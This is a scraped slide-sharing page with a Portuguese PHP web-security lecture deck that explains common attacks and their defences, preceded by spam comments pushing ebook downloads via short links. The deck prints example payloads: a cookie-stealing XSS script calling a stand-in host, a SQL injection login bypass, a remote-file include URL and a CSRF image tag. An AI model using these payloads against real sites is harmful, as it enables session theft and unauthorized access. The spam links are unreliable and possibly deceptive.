Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Segurança Web com PHP5

1,934 views

Published on

Como se prevenir dos principais ataques explorados na web com ênfase em php5.

Published in: Technology
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (2019 Update) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://soo.gd/irt2 } ......................................................................................................................... Download Full EPUB Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download Full doc Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download PDF EBOOK here { https://soo.gd/irt2 } ......................................................................................................................... Download EPUB Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download doc Ebook here { https://soo.gd/irt2 } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book THIS can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer THIS is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBooks .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story THIS Helped Ignite a Movement,-- Atomic Habits: An Easy & Proven Way to Build Good Habits & Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money THIS the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths THIS Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (Unlimited) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://soo.gd/qURD } ......................................................................................................................... Download Full EPUB Ebook here { https://soo.gd/qURD } ......................................................................................................................... Download Full doc Ebook here { https://soo.gd/qURD } ......................................................................................................................... Download PDF EBOOK here { https://soo.gd/qURD } ......................................................................................................................... Download EPUB Ebook here { https://soo.gd/qURD } ......................................................................................................................... Download doc Ebook here { https://soo.gd/qURD } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book THIS can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer THIS is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBooks .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story THIS Helped Ignite a Movement,-- Atomic Habits: An Easy & Proven Way to Build Good Habits & Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money THIS the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths THIS Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (Unlimited) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { http://shorturl.at/krvUW } ......................................................................................................................... Download Full EPUB Ebook here { http://shorturl.at/krvUW } ......................................................................................................................... Download Full doc Ebook here { http://shorturl.at/krvUW } ......................................................................................................................... Download PDF EBOOK here { http://shorturl.at/krvUW } ......................................................................................................................... Download EPUB Ebook here { http://shorturl.at/krvUW } ......................................................................................................................... Download doc Ebook here { http://shorturl.at/krvUW } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book THIS can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer THIS is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBooks .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story THIS Helped Ignite a Movement,-- Atomic Habits: An Easy & Proven Way to Build Good Habits & Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money THIS the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths THIS Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (Unlimited) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download Full EPUB Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... ACCESS WEBSITE for All Ebooks ......................................................................................................................... Download Full PDF EBOOK here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download EPUB Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download doc Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... ......................................................................................................................... ......................................................................................................................... .............. Browse by Genre Available eBooks ......................................................................................................................... Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult,
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (Unlimited) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://tinyurl.com/yyxo9sk7 } ......................................................................................................................... Download Full EPUB Ebook here { https://tinyurl.com/yyxo9sk7 } ......................................................................................................................... ACCESS WEBSITE for All Ebooks ......................................................................................................................... Download Full PDF EBOOK here { https://tinyurl.com/yyxo9sk7 } ......................................................................................................................... Download EPUB Ebook here { https://tinyurl.com/yyxo9sk7 } ......................................................................................................................... Download doc Ebook here { https://tinyurl.com/yyxo9sk7 } ......................................................................................................................... ......................................................................................................................... ......................................................................................................................... .............. Browse by Genre Available eBooks ......................................................................................................................... Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult,
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • Be the first to like this

Segurança Web com PHP5

  1. 1. Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Engineer douglas.pasqua@gmail.com http://dpasqua.wordpress.com
  2. 2. Objetivo ●Disseminar boas práticas para o desenvolvimento decódigo seguro em php. ● Exemplificar como são feitos os ataques e suasrespectivas formas de prevenção. ●Concientizar sobre a responsabilidade da segurança nodesenvolvimento de uma aplicação. ●Abordar os tópicos de segurança que são temas do examede certificação da Zend. ●Exemplo de ataques realizados em grandes sites. http://dpasqua.wordpress.com
  3. 3. Tópicos ●Introdução a Segurança. ●Conceitos e boas práticas. ○ Filtrando Input. ○ Escapando Output. ●Injection Attacks ○ XSS,SQL,Command, Remote Code, Email. ●XSRF / CSRF ●Segurança na Sessão. ○ Session Fixation. ○ Session Hijacking. ●Configurações de segurança no php.ini. ●Shared Hosting. http://dpasqua.wordpress.com
  4. 4. Introdução a Segurança ●Responsabilidade pela Segurança. ●Princípios de um desenvolvimento seguro para aplicaçõesWeb. ●Você pode confiar nos dados que estão sendoprocessados ? ●Quais os dados confiáveis ? ●Como o maioria dos ataques podem ser evitados ? ●Tenha em mente a importância de se desenvolver umaaplicação segura. http://dpasqua.wordpress.com
  5. 5. Filtrando Input. ●Exemplo: <form action=”login.php” method=”post”> Usuário: <input type=”text” name=”usuario” /><br /> Senha: <input type=”passsword” name=”senha” /><br /> Empresa: <select name=”id_empresa”> <option>nacional</option> <option>internacional</option> <option>filial</option> </select><br/> <input type=”submit” value=”Enviar” /> </form> http://dpasqua.wordpress.com
  6. 6. Filtrando Input ●Regras de Validação: Usuário deve ser caracteres alfabéticos. Senha deve ser alfanumérico. Empresa deve conter somente nacional, internacional ou filial. ●Validar no lado do cliente (Javascript) ou no lado doServidor ? http://dpasqua.wordpress.com
  7. 7. Filtrando Input Validando no lado do servidor: ●<?php$clean = array();if (ctype_alpha($_POST[usuario])) { $clean[usuario] = $_POST[usuario];}if (ctype_alnum($_POST[senha])) { $clean[senha] = $_POST[senha];}$empresas = arrray(nacional, internacional, filial);if (in_array($_POST[empresa], $empresas)) { $clean[empresa] = $_POST[empresa];} http://dpasqua.wordpress.com
  8. 8. Filtrando Input Validando: ● <?php $errors = array (); if (!array_key_exists(usuario, $clean)){ $errors[] = Campo usuário inválido. Usar somentecaracteres alfabéticos.; } http://dpasqua.wordpress.com
  9. 9. Escapando Output ●Qual a importância de escapar output? ●Escapar output deve fazer parte do filtro de input? ●Escapando output de acordo com o destino: Web Browsere Database ●Escapar output – Web Browser: ●htmlentities / htmlspecialchars: $message = "A quote is <b>bold</b>"; Outputs: A 'quote' is &lt;b&gt;bold&lt;/b&gt; $html[message] = htmlentities($message, ENT_QUOTES, UTF-8); http://dpasqua.wordpress.com
  10. 10. Escapando Output ●Escapar output para Database: ●*_escape_string: $sql = "SELECT * FROM usuariosWHERE usuario = " . mysql_real_escape_string($usuario);Prepared statements: $sql = SELECT * FROM usuarios WHERE usuario = :usuario AND senha = :senha; $sth = $pdo->prepare($sql); $sth->execute(array( :username => $clean[username], :senha => $clean[senha])); $results = $sth->fetchAll(); http://dpasqua.wordpress.com
  11. 11. Escapando Output$sql = "SELECT * FROM usuarios WHERE usuario = ? AND senha = ?";$sth = $pdo->prepare($sql);$sth->execute(array($clean[username], $clean[senha]));$results = $sth->fetchAll(); http://dpasqua.wordpress.com
  12. 12. Cross-Site Scripting ●É um dos mais conhecidos e um mais comuns dos tipos deataque. ●Explora a confiança que o usuário tem na aplicação. ●O foco esta no roubo de informações pessoais do usuários,como por exemplo, os cookies. ●Exemplo: <form method=”POST” action=”adiciona_comentario.php”> <p><textarea name=”comment”></textarea></p> <p><input type=”submit”/></p> </form> http://dpasqua.wordpress.com
  13. 13. Cross-Site Scripting <script> document.location = http://exemplo.org/getcookies.php?cookies= + document.cookie; </script> ● Para previnir-se do ataque, faça escape do outpututilizando htmlentities. $html[message] = htmlentities($message, ENT_QUOTES, UTF-8); http://dpasqua.wordpress.com
  14. 14. Cross-Site Scripting - Casos ●Worm “Bom Sábado”. ●Afetou o orkut, descoberto 25/09/2010. ●Redireciona para comunidade “infectados vírus orkut” ●Inscreve o usuário em comunidades maliciosas ●Rouba informações presentes nos cookies ●Envia scrap contaminado para lista de amigoshttp://ibnlive.in.com/news/orkut-attacked-by-bom-sabado-worm/131714-11.html http://dpasqua.wordpress.com
  15. 15. Cross-Site Scripting - Casos ●Twitter – 21/09/2010 ●Ao passar o mouse por cima do link bagunçava a interface ●Espalhava o problema para outros usuários ●Impediu que usuários publicassem mensagens no twitterhttp://hercules-now.com/2010/09/21/falha-de-seguranca-no-twitter-xss/ http://dpasqua.wordpress.com
  16. 16. Cross-Site Scripting - Casos ●Site contendo arquivo de sites que já foram vuneráveis àataques XSS. http://www.xssed.com http://dpasqua.wordpress.com
  17. 17. SQL Injection ●É um ataque no qual o usuário malicioso injetam comandossql em campos de formulários. ●Primeiro o atacante obtém informações suficientes pararealizar o ataque, normalmente através de mensagens de errodo banco de dados. ●Um exemplo popular é o formulário de Login: <form method=”POST” action=”login.php”> Username: <input type=”text” name=”username” /> <br /> Senha: <input type=”password” name=”senha” /><br /> <input type=”submit” value=”Login”> </form> http://dpasqua.wordpress.com
  18. 18. SQL Injection O Código Vulenerável: ● $sql = "SELECT count(*) FROM usuarios WHERE usuario = {$_POST[usuario]} AND senha= {$_POST[senha]}"; Nesse caso não é feito o filtro de input. Nada é escapado. http://dpasqua.wordpress.com
  19. 19. SQL Injection ●Pode-se logar no sistema, passando no campo de usuárioo seguinte conteúdo: (Independente do que é passado nocampo de senha.) admin OR 1=1 -- SELECT * FROM usuarios WHERE usuario = admin OR 1 = 1 -- AND senha = senhaqualquer ●Para previnir sql injection, utilizar *_escape_string() ou depreferência prepared statements. ●Podem ocorrer problemas mais graves, como exclusão detabelas e dados importantes. http://dpasqua.wordpress.com
  20. 20. SQL Injection - Casos ●Cisco WCS – 11/08/2010 (Wireless Control System) ●SQL Injection na interface web WCS ●Permite total acesso no device: ●Criação, exclusão e edição de usuários ●Mudança nas configurações wirelesshttp://www.cisco.com/en/US/products/products_security_advisory09186a0080b4091e.shtml http://dpasqua.wordpress.com
  21. 21. SQL Injection - Casos ●Em 2008 houve um ataque em massa de SQL Injection ●Exploração nos servidores usando IIS e SQLServer ●Milhares de sites afetados (500.000)http://www.techspot.com/news/29845-fsecure-claims-500000-sites-affected-by-sql-injection.html http://dpasqua.wordpress.com
  22. 22. Command Injection ●Tome cuidado ao utilizar o input de usuário para montarcomandos dinâmicos ao utilizar as funções exec, system,passthru. ●Evite sempre que possível utilizar funções que executemcomandos no shell. (Boas práticas) ●Se não tiver outra opção, evite utilizar o input de usuáriopara criar os comandos shell. ●Se for ter que utilizar o input de usuário para montar oscomando shell, você pode fazer uso das funçõesescapeshellcmd() e escapeshellarg()http://php.net/manual/pt_BR/function.escapeshellcmd.phphttp://www.php.net/manual/pt_BR/function.escapeshellarg.php http://dpasqua.wordpress.com
  23. 23. Remote Code Injection ●Tome cuidado ao usar o input do usuário para fazer uminclude dinâmico na sua aplicação. ●Muitas aplicações se baseiam no input do usuário paracriar includes em sua aplicação. ●Exemplo: include "{$_GET[secao]}/config.php"; ● Um usuário mal intencionado pode manipular a querystring e criar uma URL que irá "injetar" um arquivo em um siteremoto. http://www.exemplo.org/?secao=http://www.sitedoatacante.org/blah.inc/ http://dpasqua.wordpress.com
  24. 24. Remote Code Injection Para se prevenir desse ataque, utilize o filtro de input ●adequado. ○ Verificando se o arquivo a ser incluído existe em disco. ○ Criar um array com os nomes dos arquivos permitidos. ○ Remover caracteres inválidos do input. ● Outra forma de se prevenir é desabilitando a diretivaallow_url_fopen do php.ini. http://dpasqua.wordpress.com
  25. 25. Email Injection ●Função mail() do PHP ●Cuidado ao usar dados de input do usuário para configuraros headers do e-mail. ●Injeção de e-mail pode ser explorado em formulários decontato mal elaborados. ●A falha permite que usuários maliciosos enviem spam semseu consentimento. http://dpasqua.wordpress.com
  26. 26. Email Injection Código vulnerável: ● $email_origem = $_POST[email]; mail("nome-destino@exemplo.com.br", "Contato via form", $message, "From: $email_origem" ); http://dpasqua.wordpress.com
  27. 27. Email Injection Código vulnerável: ● $email_origem = $_POST[email]; mail("nome-destino@exemplo.com.br", "Contato via form", $message, "From: $email_origem" ); Input do usuário: ● email1@exemplo.com.br (quebra de linha) CC: email2@exemplo.com.br, email3@exemplo.com.br, etc.. http://dpasqua.wordpress.com
  28. 28. Email Injection Prevenção: ● ○ Tratando: $email_origem = preg_replace("/[rn]/",,$email_origem); Validando: ● if (preg_match( "/[rn]/", $email_origem) ) { // [... redireciona o usuário para uma página de erro e saida aplicação ...] } http://dpasqua.wordpress.com
  29. 29. Email Injection ●O email de destino também pode ser forjado pelo input dousuário. ●A função mail() aceita vários endereços de email nodestinatário. (separados por vírgula):email1@exemplo.com.br, email2@exemplo.com.br, etc.. http://dpasqua.wordpress.com
  30. 30. XSRF ou CSRF ●O ataque consiste em forjar requisições de outros usuários. ●Explora a confiança que a aplicação tem no usuário. ●É difícil de identificar pois para a aplicação parece ser umarequisição legítima. ●Exemplo: Atacante analisando o formulário: <form action="/transfer.php" method="post"> <p>To <input type="text" name="to" /></p> <p>Valor $<input type="text" name="valor" /></p> <p><input type="submit" value="Transferir" /></p> </form> http://dpasqua.wordpress.com
  31. 31. transfer.php:●<?php$clean = array();session_start();if ($_SESSION[auth]) { /* Filter To */ /* Filter Valor */ /* Make Transfer */ transfer($clean[to], $clean[valor]);}?> http://dpasqua.wordpress.com
  32. 32. XSRF ●Forjando GET. ●Usuário acessando site malicioso e logado no site dobanco em outra aba. <img src="http://banke.org/transfer.php?to=74435388&valor=1 /> É possível forjar POST também. ● http://dpasqua.wordpress.com
  33. 33. XSRF Prevenção: ● ○ Guarde um token randômico na sessão e sete no formulário que deseja proteger. $token = md5(uniqid(rand(), TRUE)); $_SESSION[token] = $token; Valide se o token esta correto na próxima requisição: ● ● if ($_SESSION[token] == $_POST[token]) { /* valido */ } http://dpasqua.wordpress.com
  34. 34. XSRF - Casos ●Gmail afetado em 2007. ●Afeta usuários logados no gmail e acessando o sitemalicioso em outra aba. ●O site malicioso conseguia obter todos os detalhes doscontatos do usuário do gmail. http://www.oreillynet.com/xml/blog/2007/01/gmail_exploit_contact_list_hij.html http://dpasqua.wordpress.com
  35. 35. Session Fixation ●Basicamente, como funciona o processo de criação de sessãono PHP ? ○ session_start() ○ Set_Cookie Header ○ Nome do Cookie: PHPSESSID Fixando Sessão: ● <a href=”http://www.phpexample.com.br/index.php?PHPSESSID=123456”> Entrar</a> http://dpasqua.wordpress.com
  36. 36. Session Fixation Explorado em versões antigas do php onde muita gente ● desabilitava os cookies no navegador. Para que seja possível explorar essa vunlerabilidade, ● definir os parâmetros abaixo no php.ini: ●session.use_only_cookies = Off (Padrão On) ●session.use_trans_sid = On (Padrão Off) http://dpasqua.wordpress.com
  37. 37. Session Fixation Protegendo-se contra o ataque de session fixation: ● ○ session_regenerate_id()<?php session_start(); if(usuario_autenticado($clean[usuario], $clean[senha])) { session_regenerate_id(); $_SESSION[logado] = true; } http://dpasqua.wordpress.com
  38. 38. Session Fixation - Casos ●Joomla versão 1.5 até 1.5.15 ●Após autenticação o id da sessão não era re-criadohttp://blog.taddong.com/2010/05/session-fixation-vulnerability-in.html http://dpasqua.wordpress.com
  39. 39. Session Hijacking Como é feito o ataque de session hijacking ? ● Como se prevenir ? ● ○ Validar HTTP_USER_AGENT ○ Setar no php.ini: session.cookie_httponly = true http://dpasqua.wordpress.com
  40. 40. Session Hijacking<?phpsession_start();if (array_key_exists(HTTP_USER_AGENT, $_SESSION)) { if ($_SESSION[HTTP_USER_AGENT] != md5($_SERVER[HTTP_USER_AGENT])) { /* Acesso inválido. O header User-Agent mudou durante a mesmasessão. */ exit; }}else { /* Primeiro acesso do usuário, vamos gravar na sessão um hash md5 doheader User- Agent */ $_SESSION[HTTP_USER_AGENT] = md5($_SERVER[HTTP_USER_AGENT]);}?> http://dpasqua.wordpress.com
  41. 41. Configurações no php.ini register_globals ● ○ Variaveis são “injetadas” no seu código. É impossível determinar a origem dos dados. ○ Exemplo: if (checkLogin()) { $loggedin = TRUE; } ... if ($loggedin) { } http://dpasqua.wordpress.com
  42. 42. Configurações no php.ini ●register_globals ○ Sempre utilizar $_GET, $_POST, $_COOKIE, $_SESSION ○ Em versões >= 4.2.0 – O padrão é Off. ○ Removido do php à partir da versão 5.4.0 ●session.cookie_httponly ○ ativa o parâmetro httponly no cookie usado para identificar a sessão do usuário ●expose_php ○ "Expoê" a versão do php instalado no servidor web. http://dpasqua.wordpress.com
  43. 43. Shared Hosting safe_mode ? ● ○ Removido do php 6.0 Alternativa (php.ini): ● ○ open_basedir ○ disable_functions disable_classes http://dpasqua.wordpress.com
  44. 44. Shared Hosting open_basedir: ● ○ Limita os locais onde o php pode abrir/incluir arquivos. Usando open_basedir com VirtualHost: <Directory /home/usuario1> php_admin_value open_basedir “/home/usuario1” </Directory>● disable_functions: ○ Desabilitar funções potencialmente perigosas disable_functions = exec,passthru,shell_exec,system http://dpasqua.wordpress.com
  45. 45. Shared Hosting disable_classes: ● Desabilitar classes potencialmente "perigosas" ○ disable_classes = DirectoryIterator,Directory Protegendo sessões em hosts compartilhados usando ●session_set_save_handler: session_set_save_handler( _open, _close, _read, _write, _destroy,_clean); http://dpasqua.wordpress.com
  46. 46. Continuando os estudos ● OWASP - The Open Web Application Security Project ● https://www.owasp.org/● PHP Security Consortium http://phpsec.org/projects/guide/ http://dpasqua.wordpress.com
  47. 47. Fale Conosco Obrigado por Assistir ! Mais informações: http://dpasqua.wordpress. com E-mail: douglas.pasqua@gmail.com Fone: 11 9236-4184 http://dpasqua.wordpress.com

×